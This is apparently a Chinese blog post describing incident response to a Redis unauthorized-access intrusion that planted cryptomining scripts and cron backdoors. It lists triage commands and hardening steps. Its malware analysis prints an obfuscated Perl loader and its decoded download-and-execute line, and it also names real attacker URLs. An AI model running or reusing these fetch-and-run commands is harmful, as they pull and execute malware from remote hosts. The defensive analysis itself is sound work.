【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)

0 前言

应急响应这一专题,本来并没有打算写。正如公众号的说明所言,比较想分享安全测试、漏洞赏析、渗透技巧、企业安全,其中特别是企业安全建设,这也是当初离职的初衷--到甲方看看安全怎么做?从另一个角度来全新的认识安全,同时也将在乙方的积累尽情发挥,做更多新鲜的、有挑战性的、安全落地的事情。

记得刚到公司不久,便遇到安全事件发生。因为之前没有人处理过、没人会太在意,所以当我看到时、非常吃惊大家的不在意,内网几台服务器被远程植入挖矿脚本,情况别说有多么危急了。

1 安全事件描述

1.1 开发服务器被勒索

主机xx.xx.xx.xx出现异常:cpu高达700%,且登录出现访问外链的异常提醒:

按照提示访问该链接,

https://www.zerobin.net/?abe30023883da9e6#s3HY7/0chzaTWdEtKSw86/WKkprj7x3NEEf9usy6JRs=显示该主机已经感染RANSOMWARE比特币敲诈病毒,要想避免服务器上的文件信息泄露需要想向黑客支付2个比特币。

1.2 redis主机被植入挖矿脚本

经过文件排查,以下四台主机被人植入挖矿脚本。

x.x.x.x x.x.x1.x2 x.x.x3.x4 x.x.x5.x6

2 重要日志备份

2.1 系统日志

包括message、secure、cron、mail等系统日志。

cd /var/log && ls –al

压缩打包整个/var/log目录至/tmp:

tar -zcvf /var/log.tar.gz /var/logmv log.tar.gz /tmp

2.2 history备份

备份history至/tmp/history.txt,用于查看恶意攻击者执行了哪些操作。

3 系统状态查看

系统状态主要包括网络、服务、端口、进程等状态,是否存在异常。

3.1 查看在线用户(未见异常账户)

Wlast -xad

3.2 查看系统服务(待确定)

chkconfig --list

系统开启服务较多,难以排查。

通过该命令可以查看哪些服务可能存在安全漏洞。

3.3 查看当前进程(待确定)

ps -ef

3.4 查看开放端口(待确定)

netstat -tunlp

3.5 查看用户信息(待确定)

cat /etc/passwd

由于涉及到的业务较多,不能确定用户的归属。

3.6 查看最近一个月更改的文件(后门文件)

find -type f -mtime -30

4 异常行为分析

4.1 从执行命令记录分析(存在可疑操作)

查看备份文件history.txt,分析命令执行历史,可疑行为有以下两点(待确认是否为公司内部人员操作)

4.2 从近期更改文件分析

查看最近一个月的文件更改情况并查看文件内容找到以下几个恶意文件(挖矿脚本)

经过全盘排查,涉及到的目录有:

<1> /<2> /tmp<3> /var/spool/cron/crontabs<4> /etc/cron.daily/anacron

4.2.1 分析root根目录(存在后门文件)

首先直接查看根目录,存在可执行文件

4.2.2 分析tmp文件夹(存在后门文件)

查看/tmp文件夹,存在大量后门文件

挖矿脚本等恶意脚本存放在/tmp目录下

分析root文件:

执行root文件,远程下载 i.sh,http://218.38.3.16:9999/i.sh?6379

分析i.sh文件

该文件设置定时任务,下载挖矿脚本至tmp文件夹

4.2.3 分析计划任务文件夹(存在后门文件)

查看计划任务文件夹,存在后门文件

查看文件夹 /var/spool/cron/crontabs,同样发现恶意脚本

分析/tmp/.f53ee86432aa62ba4f37a00893d1acd2文件

执行.d41d8cd98f00b204e9800998ecf8427e文件,

分析.d41d8cd98f00b204e9800998ecf8427e文件:

使用base64解密.d41d8cd98f00b204e9800998ecf8427e内容:

#!/usr/bin/perl system("\x77\x67\x65\x74\x20\x2D\x71\x4F\x20\x2D\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x7C\x20\x73\x68\x20\x3B\x20\x63\x75\x72\x6C\x20\x2D\x4F\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x3B\x20\x73\x68\x20\x61\x20\x3B\x20\x72\x6D\x20\x2D\x72\x66\x20\x61");

对system函数里的内容进行十六进制转换字符,可初步获知:

从65.254.63.2远程服务器上下载a脚本,先执行并删除。

wget -qO -http://http://65.254.63.2/a; sh a; rm -rf a

4.2.4 分析etc计划任务文件(源后门文件)

查看计划任务文件夹,存在后门文件anacron。该文件主要是控制远程下载、主机计划任务设置等黑客行为。

cat /etc/cron.daily/anacron

4.3 评估影响范围

经过对各个后门文件的分析,在/tmp目录中存在H文件,其内容包含内网相关主机,疑似是恶意攻击者的攻击目标:

分别登录主机x.x.x.x、x.x.x.a、x.x.x.b、x.x.x.c的ssh failed日志进行分析,发现以下登录失败记录(标红主机也需要关注):

x.x.x.x <--> x.x.x.a 主机x登录a失败,a登录x失败 x.x.x.x <--> x.x.x.b 主机b登录x失败 x.x.x.x <--> x.x.x.c 主机c登录x失败

5 恶意脚本排查

5.1 webshell查杀

使用webshell查杀脚本进行扫扫描

<1>查看web应用路径为:/httx/run/

find / -name info-index.html

<2>上传并执行scanWebshell.py

python scanWebshell.py /httx/run

扫描完成,未扫到webshell文件。

5.2 rootkit恶意程序检测

rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外,还支持端口扫描、常用程序文件的变动情况检查。

结合目前的检查情况和未经允许安装rkhunter来看,该操作尚未进行。

6 回溯攻击源头

6.1 挖矿脚本提供站点

访问http://218.38.3.16:9999/,这是攻击者一个提供恶意脚本下载的网站

查看该IP地址来源于韩国

6.2 恶意文件提供站点

访问http://65.254.63.2/a,浏览器提示欺诈网站

查看该IP地址来源于美国

7 安全加固防范

7.1 控制影响范围

首先应对x.x.x.x进行下线(断绝外网)处理,阻断与外界恶意攻击者之间的通信,但是由于很多业务都在上面运行实施起来有一定难度。

其次,应该对以下疑似被攻击的主机进行安全排查,查找是否存在webshell、后门下载文件及挖矿文件。

x.x.x.ax.x.x.bx.x.x.cx.x.x.dx.x.x.e......

7.2 删除后门文件

为了避免继续被控制以及更多内网主机沦陷,需要及时清理掉已经发现的后门文件及计划任务(暂时发现上面提到的四个路径)。

7.3 安全漏洞扫描

由于被入侵的可能性存在多种可能性,比如:

(1) 由于之前的钓鱼邮件引发的apt攻击

(2) 可能与最开始发现的redis挖矿安全事件相关

(3) 有可能由于该服务器上业务太多且开放端口全部映射到外网导致恶意攻击者攻击,即打开内网大门的钥匙……

目前还并未对该主机进行渗透测试和漏洞扫描,未发现该主机存在何种漏洞。按照正常的应急流程应该在分析各种日志的基础上进行渗透测试,及时迅速查找安全漏洞(被入侵原因)并进行安全加固,方可再次上线。

原文发布于微信公众号 - 我的安全视界观(CANI_Security)

原文发表时间:2017-12-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏知晓程序

如何设置小程序后台的成员和权限?| 小程序问答 #30

在昨晚(8 月 17 日)的小程序更新中,微信团队针对小程序成员权限管理功能,进行大幅优化:

1133
来自专栏Jackie技术随笔

一个简单的git开发流程

最近将手上svn的一些服务版本管理迁移到git库管理,下面简要描述一下使用的Git工作流程。

65121
来自专栏ATYUN订阅号

GitHub推出新功能GitHub Actions,可直接在网站上构建,共享和执行代码

GitHub宣布了一项名为GitHub Actions的新功能,这是一种自动化和自定义工作流程的新方法,该功能允许用户直接在网站上构建,共享和执行代码。

452
来自专栏小车博客

收集网络上测试vps的SHELL一键安装包

902
来自专栏Python入门

python爬虫使用scrapy框架爬取顶点小说网

scrapy框架 是一个非常好的东西,能够实现异步爬取,节省时间,其实本文纯粹的按照之前的思维来做,

1620
来自专栏有趣的Python

1- 快速上手Linux玩转典型应用- 介绍&研发必知快速上手Linux玩转典型应用研发必须知道的服务器Linux知识

1923
来自专栏FreeBuf

使用Docker环境快速搭建靶机环境

在实际学习中,经常需要模拟不同的漏洞环境,而使用公网的实例的话,多多少少又存在一些风险,因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案。Docker是近...

43513
来自专栏Java技术分享

Maven简介

      在现实的企业中,以低成本、高效率、高质量的完成项目,不仅仅需要技术大牛,企业更加需要管理大牛,管理者只懂技术是远远不够的。当然,管理可以说有很多的方...

1988
来自专栏美团技术团队

【美团技术博客】Docker系列之二:基于容器的自动构建

自动构建系统是从美团的自动部署系统发展出来的一个新功能。每当开发人员提交代码到仓库后,系统会自动根据开发人员定制的构建配置,启动新的Docker容器,在其中对源...

37210
来自专栏北京马哥教育

连接到 Linux 服务器时首先要运行的 5 个命令

via: https://linux.cn/article-8381-1.html 作者:SYLVAIN KALACHE 译者:ictlyh 校对:wxy 为一...

34012

扫码关注云+社区